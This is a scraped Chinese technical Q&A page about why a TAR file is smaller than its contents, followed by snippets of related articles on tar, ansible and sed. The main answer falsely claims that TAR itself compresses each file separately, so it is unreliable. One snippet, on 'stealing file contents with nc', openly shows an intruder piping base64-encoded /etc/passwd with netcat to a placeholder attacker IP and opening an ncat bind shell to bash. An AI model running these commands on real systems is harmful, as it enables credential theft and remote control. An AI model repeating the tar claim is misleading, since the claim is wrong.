首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

为什么TAR文件比它的内容小?

在计算机系统中,TAR文件是一种常见的归档文件格式,用于将多个文件打包成一个单独的文件。TAR文件可以用于备份、传输和存储文件。

TAR文件比其内容小的原因是,TAR文件格式使用了压缩算法来减小文件的大小。这样可以节省存储空间和减少传输时间。在TAR文件中,每个文件都被单独压缩,而不是将所有文件一起压缩。这样可以更有效地压缩文件,并且可以逐个解压缩文件,而不是一次性解压缩所有文件。

总之,TAR文件比其内容小,因为它使用了压缩算法来减小文件的大小。这种压缩方法可以节省存储空间和减少传输时间。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

linux下不解包查看tar文件内容

为减少日志文件占用空间,很多情况下我们会将日志文件以天或周为周期打包成tar.gz 包保存。虽然这样做有利空间充分利用,但当我们想查看压缩包内内容时确很不方便。...如果只是一个tar.gz文件,可以将其解压,再利用grep、awk或vi等工具查看或处理。不过如果有一个月或都一年日志需要找出某些关键词行,一个一个解压,然后再看,是不是很不现实。...直接查看tar.gz压缩包里内容可以使用: zcat xxx.tar.gz 但是想要在其后面直接加管道grep处理呢?...发现可以查看文件内容了 !...为什么呢? 因为我压缩是用tar czvf参数进行打包。其实现上经过tar与gzip两层压缩。导致其直接不能管道。如果不解包想直接查看压缩包里包含了那些文件呢?

4.4K60

nc加密盗取文件内容技巧

这里简单介绍一下,情况是这样 我们入侵Linux之后,植入nc后,想盗取部分内容无法直接传输,因为会遇到防火墙拦截,这里就需要进行加密传输。...黑客端: nc -l -p 8889 > kali.txt 受害端Linux系统: cat /etc/passwd | base64 | nc -nv [黑客ip] 3333 -q 1 然后黑客端nc...目录下会生成一个kali.txt,里面存放了base64加密之后passwd内容 传输文件: 控制端: nc -l -p 8889 > poc.py 被控端: nc -nv 10.0.79.241.../poc.py -q 1 传输文件接收时候命名最好是一样 文件基本不会被防火墙拦截 在两台都是Linux情况下,目标机器无法上传nc,可以利用whois命令来完成 黑客机器: nc -l -...ncat 目标: ncat -c bash --allow [黑客ip] -vnl 3333 --ssl 只允许黑客ip去控制它 黑客: nc -nv [目标ip] 3333 --ssl 这样我们一个命令传输过程就是完全加密了

60220
  • Linux文件打包(tar方法)

    Linux文件打包(tar方法) tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中文件 这五个是独立命令,压缩解压都要用到其中一个...# tar -cf all.tar *.jpg 这条命令是将所有.jpg文件打成一个名为all.tar包。-c是表示产生新包,-f指定包文件名。...# tar -rf all.tar *.gif 这条命令是将所有.gif文件增加到all.tar包里面去。-r是表示增加文件意思。...# tar -uf all.tar logo.gif 这条命令是更新原来tar包all.tar中logo.gif文件,-u是表示更新文件意思。...# tar -tf all.tar 这条命令是列出all.tar包中所有文件,-t是列出文件意思 # tar -xf all.tar 这条命令是解出all.tar包中所有文件,-t是解开意思 压缩

    2.9K10

    Linux文件压缩和解压命令tar

    压缩文件扩展名 打包并压缩文件 tar参数 语法:tar [参数] 压缩包名 一个或多被打包文件 功能 作用 压缩一个或多个文件 -c 必须,创建一个压缩包 -v 可选,显示压缩详细信息 -...将当前目录下Demo.* 打包并压缩成demo.tar.gz文件,显示详细信息。...执行结果 解压文件 解压文件语法 语法1:tar [参数] 压缩文件 解压文件到当前目录下 语法2:tar [参数] 压缩文件 -C 目录 参数说明 解压到指定目录下 -x 解压文件 -v 显示解压文件列表...-f 指定要解压文件名 -C 解压到指定目录下 操作演示 定位于root目录下,删除所有大写Hello开头文件 解压hello.tar到当前目录 释放demo.tar.gz文件到...abc目录下 执行结果 小结 tar参数作用 参数说明 -c 创建压缩包 -v 显示详细信息 -z 压缩 -f 指定压缩包文件名 -x 解压 -C 指定解压目录 发布者:全栈程序员栈长

    5K20

    tar命令之--exclude参数 排除指定文件或目录

    说明:     tar -zcf a.tar.gz  打包目录 --exclude=指定排除文件所在路径     1)打包目录使用相对路径,排除文件只能接相对路径     2)打包目录使用绝对路径...,排除文件接相对路径或绝对路径     3)建议打包目录和排除文件使用使用路径时,保持一致,都是用绝对路径,或都是用相对路径  测试环境准备 [root@nfs01 doc]# pwd...-tf /tmp/c.tar.gz | grep c.txt 根据结果,可知已排除c.txt文件 3)打包目录为相对路径,--exclude后绝对路径 [root@nfs01 doc]# tar -...总结: tar -zcf a.tar.gz  打包目录 --exclude=指定排除文件所在路径 1)打包目录使用相对路径,排除文件只能接相对路径 2)打包目录使用绝对路径,排除文件接相对路径或绝对路径...3)建议打包目录和排除文件使用使用路径时,保持一致,都是用绝对路径,或都是用相对路径

    10.1K10

    ansible 对文件内容操作

    ansible 对文件内容操作 作者: 张首富 时间: 2021-05-13 wx: y18163201 ansible lineinfile 简介 lineinfile该模块是操作文件每一行内容...只会替换正则表达式匹配到内容,而lineinfile是替换正则表达式匹配到行内容。...常用参数 path: 文件路径,我们要替换那个文件内容,必须 regexp:正则表达式,必要参数 replace: 替换成内容 替换文件内容 tasks: - name: '替换zsf 字符串为zhangshoufu...常用参数 path: 要操作文件名称 state:present 确保段落存在,absent 确保段落不存在,默认值为 present,会将指定一段文本插入到文件中,乳沟文件中已经存在标记文本.../local/ssh_config文件内容,最后使用/usr/sbin/sshd -T -f /etc/ssh/ssh_config命令校验: tasks: - name: Insert/Update

    2.8K51

    ansible 对文件内容操作

    ansible 对文件内容操作 作者: 张首富 时间: 2021-05-13 wx: y18163201 ansible lineinfile 简介 lineinfile该模块是操作文件每一行内容...只会替换正则表达式匹配到内容,而lineinfile是替换正则表达式匹配到行内容。...常用参数 path: 文件路径,我们要替换那个文件内容,必须 regexp:正则表达式,必要参数 replace: 替换成内容 替换文件内容 tasks: - name: '替换zsf 字符串为zhangshoufu...常用参数 path: 要操作文件名称 state:present 确保段落存在,absent 确保段落不存在,默认值为 present,会将指定一段文本插入到文件中,乳沟文件中已经存在标记文本,会重新更改.../local/ssh_config文件内容,最后使用/usr/sbin/sshd -T -f /etc/ssh/ssh_config命令校验: tasks: - name: Insert/Update

    1.7K10

    linux把文件压缩成.tar.gz命令 转

    01-.tar格式 解包:[*******]$ tar xvf FileName.tar 打包:[*******]$ tar cvf FileName.tar DirName(注:tar是打包,不是压缩...格式 解压:[*******]$ tar zxvf FileName.tar.gz 压缩:[*******]$ tar zcvf FileName.tar.gz DirName 04-.bz2格式 解压...格式 解压:[*******]$ tar jxvf FileName.tar.bz2 压缩:[*******]$ tar jcvf FileName.tar.bz2 DirName 06-.bz格式...-.tar.Z格式 解压:[*******]$ tar Zxvf FileName.tar.Z 压缩:[*******]$ tar Zcvf FileName.tar.Z DirName 10-.tgz...解压后请将rar_static拷贝到/usr/bin目录(其他由$PATH环境变量 指定目录也行):[*******]$ cp rar_static /usr/bin/rar (adsbygoogle

    3.2K20

    通过下载lrzsztar包,实现rz命令上传本地文件

    通常情况下没有rz命令,是要从yum源下载rpm安装。...可是我linux没有yum源,想安装可总是不成功,只能放弃,所以就想下载lrzsztar包来安装,毕竟这也是一种办法 1,点击打开链接https://ohse.de/uwe/software/lrzsz.html....tar.gz下载 2,tar -zxvf lrzsz-0.12.20.tar.gz 解压 3,进入到解压后目录,执行以下命令,其中“–prefix=”/home/tlpad”是文件安装路径,可自己指定...此时可到/home/tlpad/bin目录下会看到下面几个脚本: 这几个脚本就是要上传本地文件时执行命令。...会发现没有我们熟悉“rz”命令 所以这里应该使用命令是“lrz” 就会弹出框,让我们选择要上传了 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/106294.

    2.1K20

    为什么内容价值是网站灵魂?

    3.jpg 那么,为什么内容价值是网站灵魂?...既然客户和搜索引擎都不谋而合垂青有价值内容,我就始终如一坚持做好网站内容,以优质原创文章取信搜索引擎和用户需求。...三、文章标题 从引人入胜标题到有价值文章内容,当读者盘算认真去品读你文章内容时,说明你文章标题还不错。...再者就是文章内容了,每篇文章都有它主题思维,都有它最想表明内容,因此我们在表明时候能用简明句子就用简明句子,不要让内容冗杂,只须能清楚表明主旨就行了。...总结:网站内容建设,不仅需要高度优质原创内容,并且还需要能有效传达价值内容,所以说有价值原创内容是网站优化灵魂。

    51130

    基于命令批量修改文件内容

    Linux下批量替换多个文件字符串简单方法 :%s/oldstring/newstring/g Linux下批量替换多个文件字符串方法 用sed命令可以批量替换多个文件字符串。...sed -i "s/原字符串/新字符串/g" `grep 原字符串 -rl 所在目录`(千万注意这个符号,是最左上角那个符号不是单引号) 例如:我要把/test下所有包含abc文件abc替换为def...,可能大家会遇到将某个变量名修改为另一个变量名情况,如果这个变量是一个局部变量的话,vi足以胜任,但是如果是某个全局变量的话,并且在很多文件中进行了使用,这个时候使用vi就是一个不明智选择。...这里给出一个简单shell命令,可以一次性将所有文件指定字符串进行修改: grep "abc" * -R | awk -F: '{print $1}' | sort | uniq | xargs...sed -i 's/abc/abcde/g' 替换字符:sed -i "s/old/new/g" /test 查找包含指定字符文件名:grep aaa –ul  /test

    2K50

    linux常用读取文件内容指令

    linux常用于读取文件内容指令主要有以下七种: cat,tac,nl,more,less,head,tail cat 文件名 –将文件内容显示在屏幕上 cat -n 文件名 –将文件内容显示在屏幕上...,并显示行号 cat -b 文件名 –将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号 tac则是和cat反过来(名字都是反过来) tac 文件名 –将文件内容显示在屏幕上,但是是从最后一行开始往前显示...tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前内容输出 tac -b -s...separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前内容输出 创建文件readfile.txt,在文件中输入内容...readfile.txt 1 one 2 two three 3 four five six 4 seven eghit nine ten 可以执行翻页操作读取文件内容指令

    5.9K10

    使用vbscript替换excel文件内容

    这个不能算瞎折腾,也算是被逼没办法了。从接手webgame开始,看到那么多excel文件被翻译为繁体,我头就没小过。...实际上面对那么大工程,是不可能所有内容都一个一个去看,所以采用是word或是excel自动简转繁功能,但这样方式带来了比较致命问题,合作方往往在你重新生成配置文件后,测试过程中发现一些文字需要重新替换...之前因为这个,曾经用.net写过一个查找指定文件夹下所有文件(包含excel)应用程序,检测后生成一个html,里面重点标识出匹配到输入文字文件(支持点击打开该文件)。...现在是先让对方提供一个转换库,比如上面说,然后写程序将所有需要检测文件进行替换(重点是excel),因为游戏中需要用到excel文件异常多,近200个左右。...,以及循环再去替换它内容然后写入内容操作。

    2K20
    领券